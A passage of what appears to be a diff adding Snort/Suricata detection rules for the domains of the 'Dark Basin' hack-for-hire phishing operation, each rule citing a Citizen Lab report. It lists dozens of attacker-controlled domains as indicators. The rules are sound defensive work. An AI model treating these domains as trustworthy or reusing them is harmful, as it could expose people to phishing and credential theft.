content:"|0c|pageserver77|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353212; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: pageserver77.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"pageserver77.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])pageserver77\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353213; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: pageserverru.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|pageserverru|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354151; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: pageserverru.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|pageserverru|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354152; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: pageserverru.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"pageserverru.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])pageserverru\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354153; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: personaldoaminru.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|personaldoaminru|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355851; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: personaldoaminru.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|personaldoaminru|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355852; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: personaldoaminru.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"personaldoaminru.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])personaldoaminru\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355853; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: personaldoaminsg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|personaldoaminsg|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355861; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: personaldoaminsg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|personaldoaminsg|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355862; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: personaldoaminsg.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"personaldoaminsg.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])personaldoaminsg\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355863; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: phpwebserver34.best"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|phpwebserver34|04|best|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354041; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: phpwebserver34.best"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|phpwebserver34|04|best|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354042; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: phpwebserver34.best"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"phpwebserver34.best"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])phpwebserver34\.best[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354043; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: phpwebserver34.site"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|phpwebserver34|04|site|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354011; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: phpwebserver34.site"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|phpwebserver34|04|site|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354012; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: phpwebserver34.site"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"phpwebserver34.site"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])phpwebserver34\.site[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354013; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: phpwebserver34.tech"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|phpwebserver34|04|tech|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354021; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: phpwebserver34.tech"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|phpwebserver34|04|tech|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354022; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: phpwebserver34.tech"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"phpwebserver34.tech"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])phpwebserver34\.tech[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354023; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: phpwebserver34.xyz"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|phpwebserver34|03|xyz|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354031; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: phpwebserver34.xyz"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|phpwebserver34|03|xyz|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354032; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: phpwebserver34.xyz"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"phpwebserver34.xyz"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])phpwebserver34\.xyz[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354033; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: planyourexoticvacation.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|16|planyourexoticvacation|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356621; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: planyourexoticvacation.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|16|planyourexoticvacation|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356622; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: planyourexoticvacation.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"planyourexoticvacation.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])planyourexoticvacation\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356623; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: portfoliofasinating.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|portfoliofasinating|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357021; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: portfoliofasinating.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|portfoliofasinating|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357022; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: portfoliofasinating.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"portfoliofasinating.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])portfoliofasinating\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357023; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: post-manager.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|post-manager|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355221; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: post-manager.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|post-manager|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355222; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: post-manager.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"post-manager.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])post\-manager\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355223; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: postmarkapiservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|postmarkapiservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354731; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: postmarkapiservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|postmarkapiservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354732; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: postmarkapiservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"postmarkapiservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])postmarkapiservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354733; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: postserverem.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|postserverem|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356491; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: postserverem.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|postserverem|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356492; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: postserverem.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"postserverem.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])postserverem\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356493; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: postserviceemaildomain.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|16|postserviceemaildomain|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354781; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: postserviceemaildomain.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|16|postserviceemaildomain|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354782; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: postserviceemaildomain.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"postserviceemaildomain.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])postserviceemaildomain\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354783; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: ppleid.org"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|06|ppleid|03|org|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357591; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: ppleid.org"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|06|ppleid|03|org|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357592; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: ppleid.org"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"ppleid.org"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])ppleid\.org[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357593; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: productdemoservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|productdemoservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357131; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: productdemoservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|productdemoservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357132; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: productdemoservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"productdemoservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])productdemoservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357133; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: promotespritialbelief.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|promotespritialbelief|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356941; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: promotespritialbelief.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|promotespritialbelief|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356942; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: promotespritialbelief.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"promotespritialbelief.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])promotespritialbelief\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356943; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: prwebsiteuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|prwebsiteuk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355401; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: prwebsiteuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|prwebsiteuk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355402; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: prwebsiteuk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"prwebsiteuk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])prwebsiteuk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355403; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: racksackserveruk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|racksackserveruk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355231; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: racksackserveruk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|racksackserveruk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355232; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: racksackserveruk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"racksackserveruk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])racksackserveruk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355233; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: rackserver39.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|rackserver39|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353651; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: rackserver39.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|rackserver39|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353652; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: rackserver39.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"rackserver39.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])rackserver39\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353653; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: readmytipsntricks.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|readmytipsntricks|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357061; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: readmytipsntricks.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|readmytipsntricks|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357062; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: readmytipsntricks.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"readmytipsntricks.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])readmytipsntricks\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357063; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: redirectonline.xyz"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|redirectonline|03|xyz|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353461; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: redirectonline.xyz"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|redirectonline|03|xyz|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353462; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: redirectonline.xyz"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"redirectonline.xyz"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])redirectonline\.xyz[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353463; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: redirectserviceonline.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|redirectserviceonline|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355441; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: redirectserviceonline.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|redirectserviceonline|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355442; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: redirectserviceonline.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"redirectserviceonline.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])redirectserviceonline\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355443; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: registrationonlineeurope.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|18|registrationonlineeurope|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356711; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: registrationonlineeurope.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|18|registrationonlineeurope|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356712; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: registrationonlineeurope.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"registrationonlineeurope.com"; nocase; http_header; pcre: 